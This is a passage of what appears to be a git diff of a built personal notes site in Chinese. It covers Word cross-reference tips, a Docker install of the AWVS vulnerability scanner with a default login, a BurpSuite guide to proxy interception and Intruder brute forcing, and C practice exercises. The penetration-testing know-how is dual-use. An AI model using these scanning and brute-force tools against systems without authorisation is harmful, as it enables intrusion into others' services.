添加完新的编号格式后全选刚才删除了编号的参考文献, 然后使用刚才创建的编号样式即可:

image-20220519224157489

第一个是我自己写的网页引用, 后面的是知网导出的

图片中的奇怪符号是格式, 我开启了显示所有格式


交叉引用

自定义交叉引用快捷键:

文件->选项->自定义功能区->键盘快捷方式[自定义]->"引用"选项卡->InsertCrossReference->请按新快捷键->Alt+J

image-20220520195530771

在引文句尾 使用快捷键添加交叉引用 -> 编号项 -> 段落编号 -> 找到具体引文:

image-20220520195929532

image-20220520195951912

选中添加上来的交叉引用, 使用 Ctrl Shift + 将其设置为上标即可完成交叉引用的添加

image-20220520200102652

此时按住 ctrl 点击该上标即可跳转到参考文献的相应部分

+ + + diff --git a/NoteTools/index.html b/NoteTools/index.html new file mode 100644 index 0000000000..22b2939cb5 --- /dev/null +++ b/NoteTools/index.html @@ -0,0 +1,40 @@ + + + + + + + + Note Tools | DailyNotes + + + + + + +
跳至主要內容

Note Tools

小于 1 分钟

+ + + diff --git a/assets/404.html-38582ef2.js b/assets/404.html-38582ef2.js new file mode 100644 index 0000000000..40e09ad1ce --- /dev/null +++ b/assets/404.html-38582ef2.js @@ -0,0 +1 @@ +import{_ as e}from"./plugin-vue_export-helper-c27b6911.js";import{o as t,c}from"./app-893ba623.js";const o={};function r(_,n){return t(),c("div")}const f=e(o,[["render",r],["__file","404.html.vue"]]);export{f as default}; diff --git a/assets/404.html-f04ced3e.js b/assets/404.html-f04ced3e.js new file mode 100644 index 0000000000..33005046b6 --- /dev/null +++ b/assets/404.html-f04ced3e.js @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-3706649a","path":"/404.html","title":"","lang":"zh-CN","frontmatter":{"layout":"NotFound"},"headers":[],"git":{},"readingTime":{"minutes":0,"words":0},"filePathRelative":null,"excerpt":""}');export{t as data}; diff --git a/assets/AWVS.html-1ed23a7e.js b/assets/AWVS.html-1ed23a7e.js new file mode 100644 index 0000000000..8a13010fde --- /dev/null +++ b/assets/AWVS.html-1ed23a7e.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-50c49b28","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/%E6%BC%8F%E6%89%AB%E5%B7%A5%E5%85%B7/AWVS.html","title":"AWVS","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[{"level":3,"title":"docker 安装 AWVS","slug":"docker-安装-awvs","link":"#docker-安装-awvs","children":[]}]}],"git":{"createdTime":1677399956000,"updatedTime":1677399956000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":0.82,"words":247},"filePathRelative":"网络安全/信息收集/漏扫工具/AWVS.md","localizedDate":"2023年2月26日","excerpt":""}');export{e as data}; diff --git a/assets/AWVS.html-49201050.js b/assets/AWVS.html-49201050.js new file mode 100644 index 0000000000..c7f128e8e3 --- /dev/null +++ b/assets/AWVS.html-49201050.js @@ -0,0 +1,12 @@ +import{_ as t}from"./plugin-vue_export-helper-c27b6911.js";import{r as c,o,c as l,b as e,e as a,d as s,f as r}from"./app-893ba623.js";const i={},d=r('

AWVS


安装


docker 安装 AWVS

',5),p={href:"https://github.com/XRSec/AWVS14-Update",target:"_blank",rel:"noopener noreferrer"},m={href:"https://www.cnblogs.com/ctfisnull/p/15059461.html",target:"_blank",rel:"noopener noreferrer"},h={href:"https://www.cnblogs.com/hxlinux/p/14749230.html",target:"_blank",rel:"noopener noreferrer"},u=e("hr",null,null,-1),b=r(`

Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。

AWVS是一款Web漏洞扫描工具,通过网络爬虫测试网站安全,检测流行的Web应用攻击,如跨站脚本、sql 注入等。据统计,75% 的互联网攻击目标是基于Web的应用程序。

# 找下关于 awvs 的镜像
+docker search awvs
+# 选择一个镜像进行拉取
+docker pull secfa/awvs
+# 将镜像跑位容器
+docker run -it -d --name awvs -p 3443:3443 --restart=always secfa/awvs:latest
+# 进入容器编辑 /home/acunetix/.acunetix/data/license/license_info.json 填入 license 信息
+# 访问 web 页面
+URL: https://[ip]:3443/#/login
+UserName: admin@admin.com
+PassWord: Admin123
+

`,4);function v(k,_){const n=c("ExternalLinkIcon");return o(),l("div",null,[d,e("blockquote",null,[e("p",null,[e("a",p,[a("XRSec/AWVS14-Update: Awvs 14 Scanner、fahai (github.com) - 镜像 by xrsec"),s(n)])]),e("p",null,[e("a",m,[a("Docker安装AWVS AWVS批量扫描 AWVS+XRAY批量扫描 - admax11 - 博客园 (cnblogs.com) - 镜像 by secfa"),s(n)])]),e("p",null,[e("a",h,[a("Docker安装AWVS和Nessus - 徐也 - 博客园 (cnblogs.com)-镜像 by 雷石安全"),s(n)])]),u]),b])}const x=t(i,[["render",v],["__file","AWVS.html.vue"]]);export{x as default}; diff --git a/assets/BurpSuite.html-7aa1ced7.js b/assets/BurpSuite.html-7aa1ced7.js new file mode 100644 index 0000000000..7cf6cd33e5 --- /dev/null +++ b/assets/BurpSuite.html-7aa1ced7.js @@ -0,0 +1 @@ +import{_ as p}from"./plugin-vue_export-helper-c27b6911.js";import{r as a,o as l,c as d,b as e,e as r,d as t,f as o}from"./app-893ba623.js";const n={},c=e("h1",{id:"burpsuit",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#burpsuit","aria-hidden":"true"},"#"),r(" BurpSuit")],-1),u={href:"https://portswigger.net/burp",target:"_blank",rel:"noopener noreferrer"},h=e("hr",null,null,-1),s={href:"https://t0data.gitbooks.io/burpsuite/content/",target:"_blank",rel:"noopener noreferrer"},m=e("hr",null,null,-1),g=e("h2",{id:"burpsuit-安装与环境配置",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#burpsuit-安装与环境配置","aria-hidden":"true"},"#"),r(" BurpSuit 安装与环境配置")],-1),b={href:"https://t0data.gitbooks.io/burpsuite/content/chapter1.html",target:"_blank",rel:"noopener noreferrer"},y=e("hr",null,null,-1),_=e("p",null,"BurpSuite是一个集成化的渗透测试工具,它集合了多种渗透测试组件,使我们自动化地或手工地能更好的完成对web应用的渗透测试和攻击。在渗透测试中,我们使用Burp Suite将使得测试工作变得更加容易和方便,即使在不需要娴熟的技巧的情况下,只有我们熟悉Burp Suite的使用,也使得渗透测试工作变得轻松和高效。",-1),f=e("p",null,"Burp Suite是由Java语言编写而成,而Java自身的跨平台性,使得软件的学习和使用更加方便。Burp Suite不像其他的自动化测试工具,它需要你手工的去配置一些参数,触发一些自动化流程,然后它才会开始工作。",-1),x={href:"https://portswigger.net/burp/downloadfree.html",target:"_blank",rel:"noopener noreferrer"},B=o('

Proxy

Proxy 模块可以通过与浏览器代理配置相同的本地端口来截取浏览器请求

Proxy -> Options 中编辑代理配置, 比如代理本地的 8080 端口:

image-20221024193923997

在 Firefox 中也将代理配置为此项:

image-20221024194017883

这样配置完后, 在 Firefox 中的请求会被 BurpSuit 截获, 可在 BurpSuit 中进行相关操作


proxy 使用指南

',11),S={href:"https://t0data.gitbooks.io/burpsuite/content/chapter3.html",target:"_blank",rel:"noopener noreferrer"},k=e("hr",null,null,-1),P=o('

Burp Proxy 是Burp Suite以用户驱动测试流程功能的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端和服务端之间传输的数据。


Burp Proxy基本使用

一般使用Burp Proxy时,大体涉及环节如下:

  1. 首先,确认JRE已经安装好,Burp Suite可以启动并正常运行,且已经完成浏览器的代理服务器配置。

  2. 点击 Proxy 中的 Intercept(拦截) 选项卡中的 intercept is off 按钮将其切换为 intercept is on 开始拦截数据

    image-20221025171418319

    image-20221025171436544

  3. 在浏览器中访问数据, 比如访问 baidu.com, 这时你将会看到数据流量经过Burp Proxy并暂停

    image-20221025171815530

    在当前的 intercept 界面有两个视图

  4. Forward 之后可以在浏览器中或者是 HTTP history 中查看本次请求的响应内容

    image-20221025172506044

  5. 默认情况下,Burp Proxy只拦截请求的消息,普通文件请求如 cssjs、图片是不会被拦截的,你可以修改默认的拦截选项来拦截这些静态文件,当然,你也可以通过修改拦截的作用域、参数或者服务器端返回的关键字来控制Burp Proxy的消息拦截,

    所有流经Burp Proxy的消息,都会在 http history记录下来,我们可以通过历史选项卡,查看传输的数据内容,对交互的数据进行测试和验证。

    同时,对于拦截到的消息和历史消息,都可以通过右击弹出菜单,发送到Burp的其他组件,如Spider、Scanner、Repeater、Intruder、Sequencer、Decoder、Comparer、Extender,进行进一步的测试。

    image-20221025174240769

    或者点此按钮

    image-20221025174432728


数据拦截与控制

Burp Proxy 的拦截功能主要由 Intercept 选项卡中的 Forward、Drop、Interception is on/off、Action、Comment 以及Highlight构成,


可选项配置Options

image-20221025184733129

从界面显示来看,主要包括以下几大板块


历史记录-History

Burp Proxy的历史记录由HTTP历史和 WebSockets 历史两个部分组成。

HTTP历史界面由筛选过滤器、历史记录列表、消息详情3个部分组成。

image-20221025192235608

当我们在某一条历史记录上单击,会在下方的消息详解块显示此条消息的文本详细信息。当我们在某条消息上双击,则会弹出此条消息的详细对话框。


Intruder

',23),w={href:"https://t0data.gitbooks.io/burpsuite/content/chapter8.html",target:"_blank",rel:"noopener noreferrer"},T=e("hr",null,null,-1),I=o('

Intruder 是 Burp Suite中一款功能极其强大的自动化测试工具,通常被使用在各种任务测试的场景中。

Intruder 模块通过对 http request 的数据包以变量的方式自定义参数, 然后根据对应策略进行自动化的重放, 常用于自动化猜测/暴力破解的过程中


Intruder使用场景和操作步骤


Payload类型与处理


Payload 位置和攻击类型


可选项设置(Options)


Intruder 攻击和结果分析


Repeater

Repeater 是 Burp Suite 中一款手工验证 HTTP 消息的测试工具,通常用于多次重放请求响应和手工修改请求消息的修改后对服务器端响应的消息分析。


Repeater的使用


可选项设置(Options)


',21);function q(H,C){const i=a("ExternalLinkIcon");return l(),d("div",null,[c,e("blockquote",null,[e("p",null,[e("a",u,[r("Burp Suite - Application Security Testing Software - PortSwigger"),t(i)])]),h,e("p",null,[e("a",s,[r("引子 · burpsuite实战指南 (gitbooks.io)"),t(i)])])]),m,g,e("blockquote",null,[e("p",null,[e("a",b,[r("第一章 Burp Suite 安装和环境配置 · burpsuite实战指南 (gitbooks.io)"),t(i)])]),y]),_,f,e("p",null,[r("BurpSuite可执行程序是java文件类型的jar文件,免费版的可以从"),e("a",x,[r("免费版下载地址"),t(i)]),r("进行下载。免费版的Burp Suite会有许多限制,很多的高级工具无法使用,如果您想使用更多的高级功能,需要付费购买专业版。专业版与免费版的主要区别有")]),B,e("blockquote",null,[e("p",null,[e("a",S,[r("第三章 如何使用Burp Suite代理 · burpsuite实战指南 (gitbooks.io)"),t(i)])]),k]),P,e("blockquote",null,[e("p",null,[e("a",w,[r("第八章 如何使用Burp Intruder · burpsuite实战指南 (gitbooks.io)"),t(i)])]),T]),I])}const D=p(n,[["render",q],["__file","BurpSuite.html.vue"]]);export{D as default}; diff --git a/assets/BurpSuite.html-aaf11df6.js b/assets/BurpSuite.html-aaf11df6.js new file mode 100644 index 0000000000..67885b2110 --- /dev/null +++ b/assets/BurpSuite.html-aaf11df6.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-356d0412","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/Web%E5%AE%89%E5%85%A8/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7/BurpSuite.html","title":"BurpSuit","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"BurpSuit 安装与环境配置","slug":"burpsuit-安装与环境配置","link":"#burpsuit-安装与环境配置","children":[]},{"level":2,"title":"Proxy","slug":"proxy","link":"#proxy","children":[{"level":3,"title":"proxy 使用指南","slug":"proxy-使用指南","link":"#proxy-使用指南","children":[]}]},{"level":2,"title":"Intruder","slug":"intruder","link":"#intruder","children":[{"level":3,"title":"Intruder使用场景和操作步骤","slug":"intruder使用场景和操作步骤","link":"#intruder使用场景和操作步骤","children":[]},{"level":3,"title":"Payload类型与处理","slug":"payload类型与处理","link":"#payload类型与处理","children":[]},{"level":3,"title":"Payload 位置和攻击类型","slug":"payload-位置和攻击类型","link":"#payload-位置和攻击类型","children":[]},{"level":3,"title":"可选项设置(Options)","slug":"可选项设置-options","link":"#可选项设置-options","children":[]},{"level":3,"title":"Intruder 攻击和结果分析","slug":"intruder-攻击和结果分析","link":"#intruder-攻击和结果分析","children":[]}]},{"level":2,"title":"Repeater","slug":"repeater","link":"#repeater","children":[{"level":3,"title":"Repeater的使用","slug":"repeater的使用","link":"#repeater的使用","children":[]},{"level":3,"title":"可选项设置(Options)","slug":"可选项设置-options-1","link":"#可选项设置-options-1","children":[]}]}],"git":{"createdTime":1668260298000,"updatedTime":1668260298000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":7.48,"words":2245},"filePathRelative":"网络安全/Web安全/渗透测试工具/BurpSuite.md","localizedDate":"2022年11月12日","excerpt":""}');export{e as data}; diff --git a/assets/C.html-56fb13ba.js b/assets/C.html-56fb13ba.js new file mode 100644 index 0000000000..6220635158 --- /dev/null +++ b/assets/C.html-56fb13ba.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-0fe45490","path":"/CS/foundation/C/C.html","title":"C","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"2021-12-20-Armstrong Numbers","slug":"_2021-12-20-armstrong-numbers","link":"#_2021-12-20-armstrong-numbers","children":[{"level":3,"title":"Instruction","slug":"instruction","link":"#instruction","children":[]},{"level":3,"title":"解题思路","slug":"解题思路","link":"#解题思路","children":[]},{"level":3,"title":"Tips","slug":"tips","link":"#tips","children":[]}]},{"level":2,"title":"2021-12-21-Resistor Color","slug":"_2021-12-21-resistor-color","link":"#_2021-12-21-resistor-color","children":[{"level":3,"title":"Instructions","slug":"instructions","link":"#instructions","children":[]},{"level":3,"title":"解题思路","slug":"解题思路-1","link":"#解题思路-1","children":[]},{"level":3,"title":"code","slug":"code","link":"#code","children":[]},{"level":3,"title":"Tips","slug":"tips-1","link":"#tips-1","children":[]}]},{"level":2,"title":"2021-12-22-Isogram","slug":"_2021-12-22-isogram","link":"#_2021-12-22-isogram","children":[{"level":3,"title":"Instructions","slug":"instructions-1","link":"#instructions-1","children":[]},{"level":3,"title":"解题思路","slug":"解题思路-2","link":"#解题思路-2","children":[]},{"level":3,"title":"Tips","slug":"tips-2","link":"#tips-2","children":[]}]},{"level":2,"title":"2021-12-23-Hamming","slug":"_2021-12-23-hamming","link":"#_2021-12-23-hamming","children":[{"level":3,"title":"Instructions","slug":"instructions-2","link":"#instructions-2","children":[]},{"level":3,"title":"解题思路","slug":"解题思路-3","link":"#解题思路-3","children":[]}]}],"git":{"createdTime":1667829676000,"updatedTime":1667829676000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":6.71,"words":2013},"filePathRelative":"CS/foundation/C/C.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data}; diff --git a/assets/C.html-6b642b41.js b/assets/C.html-6b642b41.js new file mode 100644 index 0000000000..3313c70f54 --- /dev/null +++ b/assets/C.html-6b642b41.js @@ -0,0 +1,76 @@ +import{_ as i}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as r,c,b as s,e,d as n,f as t}from"./app-893ba623.js";const o={},m=s("h1",{id:"c",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#c","aria-hidden":"true"},"#"),e(" C")],-1),d={id:"_2021-12-20-armstrong-numbers",tabindex:"-1"},p=s("a",{class:"header-anchor",href:"#_2021-12-20-armstrong-numbers","aria-hidden":"true"},"#",-1),h={href:"https://exercism.org/tracks/c/exercises/armstrong-numbers",target:"_blank",rel:"noopener noreferrer"},u=s("h3",{id:"instruction",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#instruction","aria-hidden":"true"},"#"),e(" Instruction")],-1),g={href:"https://en.wikipedia.org/wiki/Narcissistic_number",target:"_blank",rel:"noopener noreferrer"},v=s("p",null,"An Armstrong number is a number that is the sum of its own digits each raised to the power of the number of digits.",-1),b=s("p",null,"Armstrong number 的每一位数字的 n 次方和等于它本身(n 为该数的位数)。",-1),_=s("p",null,"For example:",-1),f=s("p",null,[e("9 is an Armstrong number, because "),s("span",{class:"katex"},[s("span",{class:"katex-mathml"},[s("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[s("semantics",null,[s("mrow",null,[s("mn",null,"9"),s("mo",null,"="),s("msup",null,[s("mn",null,"9"),s("mn",null,"1")]),s("mo",null,"="),s("mn",null,"9")]),s("annotation",{encoding:"application/x-tex"},"9 = 9^1 = 9")])])]),s("span",{class:"katex-html","aria-hidden":"true"},[s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"9"),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8141em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"9"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"1")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"9")])])]),s("br"),e(" 10 is not an Armstrong number, because "),s("span",{class:"katex"},[s("span",{class:"katex-mathml"},[s("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[s("semantics",null,[s("mrow",null,[s("mn",null,"10"),s("mo",{stretchy:"false"},"!"),s("mo",null,"="),s("msup",null,[s("mn",null,"1"),s("mn",null,"2")]),s("mo",null,"+"),s("msup",null,[s("mn",null,"0"),s("mn",null,"2")]),s("mo",null,"="),s("mn",null,"1")]),s("annotation",{encoding:"application/x-tex"},"10 != 1^2 + 0^2 = 1")])])]),s("span",{class:"katex-html","aria-hidden":"true"},[s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6944em"}}),s("span",{class:"mord"},"10"),s("span",{class:"mclose"},"!"),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"1"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"2")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8141em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"0"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"2")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"1")])])]),s("br"),e(" 153 is an Armstrong number, because: "),s("span",{class:"katex"},[s("span",{class:"katex-mathml"},[s("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[s("semantics",null,[s("mrow",null,[s("mn",null,"153"),s("mo",null,"="),s("msup",null,[s("mn",null,"1"),s("mn",null,"3")]),s("mo",null,"+"),s("msup",null,[s("mn",null,"5"),s("mn",null,"3")]),s("mo",null,"+"),s("msup",null,[s("mn",null,"3"),s("mn",null,"3")]),s("mo",null,"="),s("mn",null,"1"),s("mo",null,"+"),s("mn",null,"125"),s("mo",null,"+"),s("mn",null,"27"),s("mo",null,"="),s("mn",null,"153")]),s("annotation",{encoding:"application/x-tex"},"153 = 1^3 + 5^3 + 3^3 = 1 + 125 + 27 = 153")])])]),s("span",{class:"katex-html","aria-hidden":"true"},[s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"153"),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"1"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"3")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"5"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"3")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8141em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"3"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"3")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.7278em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},"1"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.7278em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},"125"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"27"),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"153")])])]),s("br"),e(" 154 is not an Armstrong number, because: "),s("span",{class:"katex"},[s("span",{class:"katex-mathml"},[s("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[s("semantics",null,[s("mrow",null,[s("mn",null,"154"),s("mo",{stretchy:"false"},"!"),s("mo",null,"="),s("msup",null,[s("mn",null,"1"),s("mn",null,"3")]),s("mo",null,"+"),s("msup",null,[s("mn",null,"5"),s("mn",null,"3")]),s("mo",null,"+"),s("msup",null,[s("mn",null,"4"),s("mn",null,"3")]),s("mo",null,"="),s("mn",null,"1"),s("mo",null,"+"),s("mn",null,"125"),s("mo",null,"+"),s("mn",null,"64"),s("mo",null,"="),s("mn",null,"190")]),s("annotation",{encoding:"application/x-tex"},"154 != 1^3 + 5^3 + 4^3 = 1 + 125 + 64 = 190")])])]),s("span",{class:"katex-html","aria-hidden":"true"},[s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6944em"}}),s("span",{class:"mord"},"154"),s("span",{class:"mclose"},"!"),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"1"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"3")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"5"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"3")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.8141em"}}),s("span",{class:"mord"},[s("span",{class:"mord"},"4"),s("span",{class:"msupsub"},[s("span",{class:"vlist-t"},[s("span",{class:"vlist-r"},[s("span",{class:"vlist",style:{height:"0.8141em"}},[s("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[s("span",{class:"pstrut",style:{height:"2.7em"}}),s("span",{class:"sizing reset-size6 size3 mtight"},[s("span",{class:"mord mtight"},"3")])])])])])])]),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.7278em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},"1"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.7278em","vertical-align":"-0.0833em"}}),s("span",{class:"mord"},"125"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),s("span",{class:"mbin"},"+"),s("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"64"),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),s("span",{class:"mrel"},"="),s("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),s("span",{class:"base"},[s("span",{class:"strut",style:{height:"0.6444em"}}),s("span",{class:"mord"},"190")])])]),s("br"),e(" Write some code to determine whether a number is an Armstrong number.")],-1),y=t('

解题思路

通过循环整除10计算数字位数
通过 %10 获取末位数字, /10 去除末位数字
已知所有参数, 累加求和与原数字比较即可


Tips

第一次用 CLion 写 C 项目, 踩了一鞋坑

行分隔符

Windows 下使用 \\r\\n, 单独使用 \\r 或 \\n 要么编译报错, 要么运行奇怪
尤其是后者, 排查了半天代码没找到逻辑错误最后才发现是先前好奇行分隔符有什么用随手改了下


CMakeList.txt

image-20211221121538494

有时候添加文件会自动变更 CMakeLists.txt, 需要留意下


',13),T={id:"_2021-12-21-resistor-color",tabindex:"-1"},w=s("a",{class:"header-anchor",href:"#_2021-12-21-resistor-color","aria-hidden":"true"},"#",-1),x={href:"https://exercism.org/tracks/c/exercises/resistor-color",target:"_blank",rel:"noopener noreferrer"},A=s("blockquote",null,[s("p",null,"Resistor - 电阻器")],-1),k=s("h3",{id:"instructions",tabindex:"-1"},[s("a",{class:"header-anchor",href:"#instructions","aria-hidden":"true"},"#"),e(" Instructions")],-1),E={href:"https://github.com/exercism/problem-specifications/issues/1458",target:"_blank",rel:"noopener noreferrer"},q=t('

image

Each resistor has a resistance value.
每个电阻器都有一个电阻值

Resistors are small - so small in fact that if you printed the resistance value on them, it would be hard to read. 电阻器一般比较小, 所以如果将其电阻值印在上面, 就很难看

